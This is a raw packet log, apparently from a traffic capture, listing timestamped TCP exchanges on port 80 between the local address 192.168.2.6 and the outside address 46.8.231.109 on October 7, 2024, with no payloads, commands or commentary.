Oct 7, 2024 18:00:28.069055080 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.069078922 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.069083929 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.069093943 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.069104910 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.069138050 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.069138050 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.069498062 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.069560051 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.069681883 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.069694042 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.069735050 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.069766045 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.069878101 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.069889069 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.069900990 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.069912910 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.069924116 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.069935083 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.069937944 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.069967985 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.069998026 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.070166111 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.070177078 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.070187092 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.070198059 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.070209026 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.070225000 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.070255041 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.070303917 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.070313931 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.070324898 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.070350885 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.070378065 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.070472956 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.070485115 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.070494890 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.070519924 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.070522070 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.070544004 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.070573092 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.070671082 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.070683002 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.070693016 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.070704937 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.070714951 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.070720911 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.070725918 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.070729017 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.070760965 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.070796967 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.071146011 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.071156979 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.071166992 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.071177006 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.071187973 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.071207047 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.071237087 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.071470022 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.071480989 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.071491957 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.071502924 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.071515083 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.071533918 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.071564913 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.071564913 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.071842909 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.071854115 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.071865082 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.071876049 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.071887016 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.071898937 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.071902037 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.071908951 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.071928978 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.071948051 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.071980000 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.071993113 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.072001934 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.072012901 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.072031021 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.072062016 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.072310925 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.072325945 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.072357893 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.072387934 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.072503090 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.072514057 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.072525024 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.072560072 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.072590113 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.072942019 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.072953939 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.072997093 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.073028088 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.147188902 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.147200108 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.147212029 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.147222996 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.147268057 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.147311926 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.147321939 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.147330999 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.147448063 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.147448063 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.148715019 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.148787022 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.148813009 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.148823023 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.148833036 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.148844957 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.148855925 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.148863077 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.148865938 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.148886919 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.148920059 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.148948908 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.148958921 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.148972034 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.148981094 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.148997068 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.149009943 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.149019957 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.149022102 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.149033070 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.149043083 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.149055958 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.149086952 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.149090052 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.149100065 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.149110079 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.149118900 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.149132013 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.149138927 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.149144888 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.149156094 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.149166107 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.149194956 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.149239063 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.149246931 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.149255991 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.149266958 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.149277925 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.149281025 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.149287939 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.149297953 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.149307966 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.149308920 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.149318933 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.149334908 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.149343967 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.149346113 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.149359941 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.149360895 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.149369955 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.149404049 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.149552107 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.149595976 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.149605036 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.149615049 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.149662971 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.149662971 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.150147915 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.150157928 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.150166988 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.150191069 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.150204897 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.150301933 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.150316954 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.150326967 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.150341988 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.150369883 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.150444031 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.150454998 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.150471926 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.150482893 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.150485039 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.150497913 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.150511980 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.150542021 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.150552034 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.150563002 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.150573015 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.150585890 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.150588989 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.150615931 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.150644064 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.150788069 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.150798082 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.150808096 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.150827885 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.150844097 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.151175976 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.151185989 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.151196003 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.151201010 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.151211977 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.151227951 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.151251078 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.151261091 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.151267052 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.151273012 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.151278019 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.151299000 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.151329041 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.151741982 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.151751041 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.151761055 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.151771069 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.151779890 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.151782036 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.151787043 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.151820898 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.151848078 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.151849985 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.151859045 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.151869059 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.151879072 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.151890039 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.151890039 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.151901007 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.151906967 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.151911974 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.151921988 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.151938915 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.151959896 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.151989937 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.152000904 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.152030945 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.152056932 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.152803898 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.152815104 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.152825117 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.152863026 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.152872086 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.152880907 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.152887106 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.152890921 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.152900934 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.152911901 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.152915955 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.152942896 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.152956963 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.153001070 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.153012991 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.153023958 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.153033972 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.153042078 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.153057098 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.153141975 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.153578043 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.153630972 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.153645992 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.153660059 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.153685093 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.153700113 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.153712034 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.153723001 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.153748989 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.153764009 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.153858900 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.153868914 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.153882027 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.153892994 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.153898001 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.153903961 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.153908968 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.153911114 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.153922081 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.153932095 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.153934002 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.153942108 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.153956890 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.153964996 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.153968096 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.153978109 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.153984070 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.153987885 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.154001951 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.154027939 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.230909109 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.230920076 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.230930090 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.231045961 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.231050968 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.231056929 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.231066942 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.231093884 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.231111050 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.231268883 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.231311083 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.232723951 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.232736111 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.232747078 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.232759953 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.232769966 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.232779026 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.232785940 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.232789040 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.232822895 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.232836962 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.232858896 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.232871056 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.232880116 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.232889891 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.232899904 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.232904911 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.232908964 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.232917070 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.232935905 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.232954979 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.233397961 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.233407974 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.233417988 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.233427048 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.233438969 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.233448029 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.233448982 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.233458996 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.233468056 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.233469009 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.233479977 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.233494043 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.233511925 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.233525991 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.233669043 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.233679056 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.233689070 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.233699083 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.233710051 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.233712912 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:28.233720064 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:28.233731031 CEST	80	49718	46.8.231.109	192.168.2.6
